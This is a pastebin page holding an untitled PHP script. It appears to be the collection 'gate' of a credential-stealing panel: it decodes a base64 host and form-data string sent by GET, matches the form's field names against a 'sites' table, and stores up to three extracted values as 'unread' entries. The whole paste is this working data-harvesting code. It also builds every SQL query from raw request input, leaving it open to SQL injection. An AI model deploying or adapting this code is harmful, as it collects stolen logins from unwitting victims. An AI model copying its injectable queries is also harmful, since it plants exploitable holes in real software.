Don't like ads? PRO users don't see any ads ;-)
Guest

Untitled

By: a guest on May 6th, 2012  |  syntax: PHP  |  size: 2.18 KB  |  hits: 16  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. <?php
  2. include("config/init.php");
  3.  
  4. $host = @base64_decode(protect($_GET['Host']));
  5.  
  6. if(!empty($host) ) {
  7.  
  8. $host = str_replace("https://", "", $host);
  9. $host = str_replace("http://", "", $host);
  10. $host = str_replace("www.", "", $host);
  11.  
  12. if(strstr($host, '/')) {
  13. $ex = explode('/', $host);
  14. $host = $ex[0];
  15. }
  16.  
  17. print($host);
  18.  
  19. $check_host = mysql_query("SELECT `host` FROM sites");
  20.  
  21. $found = false;
  22.  
  23. while($row = mysql_fetch_assoc($check_host)) {
  24.  
  25.                 $h = $row['host'];
  26.                
  27.                 print("does $host contain $h</br>");
  28.                
  29.                 if(strstr($host, $row['host'])) {
  30.                        
  31.                        
  32.                         $found = true;
  33.                         $thehost = $row['host'];
  34.                        
  35.                 }
  36.                
  37. }
  38.  
  39. $check_host = mysql_query("SELECT * FROM sites WHERE `host`='$thehost'");
  40.  
  41. if($found) {
  42.        
  43.  
  44.        
  45.         while($row = mysql_fetch_array($check_host)) {
  46.                 $items = $row;
  47.         }
  48.  
  49.  
  50.  
  51.        
  52.         $data = protect(base64_decode($_GET['Data']));
  53.        
  54.         $parseinfo = "";
  55.        
  56.         for($i = 1; $i < count($items)-5; $i+= 1) {
  57.                 if(strstr($data, $items[$i])) {
  58.                         $values = explode('&', $data);
  59.                                 for($j = 0; $j < count($values); $j+=1) {                      
  60.                                         $parts = explode('=', $values[$j]);
  61.                                        
  62.                                         print("is " . strtolower($parts[0]) . " = $items[$i]");
  63.                                        
  64.                                         if(strtolower($parts[0]) == $items[$i]) {
  65.                                                 $the_real = explode('=', $values[$j]);
  66.                                                 if($j < count($values)) {
  67.                                                         $parseinfo .= $the_real[1] . " ";
  68.                                                 } else {
  69.                                                         $parseinfo .= $the_real[1];
  70.                                                 }
  71.                                         }
  72.                                 }
  73.                 }
  74.         }
  75.        
  76.  
  77.         $bits = explode(' ', $parseinfo);
  78.        
  79.         $id1 = @$bits[0];
  80.         $id2 = @$bits[1];
  81.         $id3 = @$bits[2];
  82.        
  83.  
  84.        
  85.         $query1 = mysql_query("SELECT * FROM gate WHERE(`host`='$host' AND `id1`='$id1' AND `id2`='$id2' AND `id3`='$id3')");
  86.         $exists = mysql_num_rows($query1);
  87.  
  88.         if($exists == 0) {
  89.                 $date = date("Y/m/d");
  90.                 $time = date("h:i");
  91.  
  92.                 $when = "$date - $time";
  93.  
  94.                 if(!empty($host) and !empty($id1) or !empty($id2) or !empty($id3)) {
  95.                         $query = mysql_query("INSERT INTO gate (`host`, `id1`, `id2`, `id3`, `when`,`status`)
  96.                                                                   VALUES ('$host', '$id1', '$id2', '$id3', '$when','unread')") or die(mysql_error());
  97.                                                                  
  98.                 } else {
  99.                 print("LOL");
  100.                 }
  101.  
  102.         } else {
  103.  
  104.                 print("Already contains this info");
  105.         }
  106.  
  107.         } else {
  108.                
  109.                 print("No match");
  110.        
  111.         }
  112.  
  113. }
  114. ?>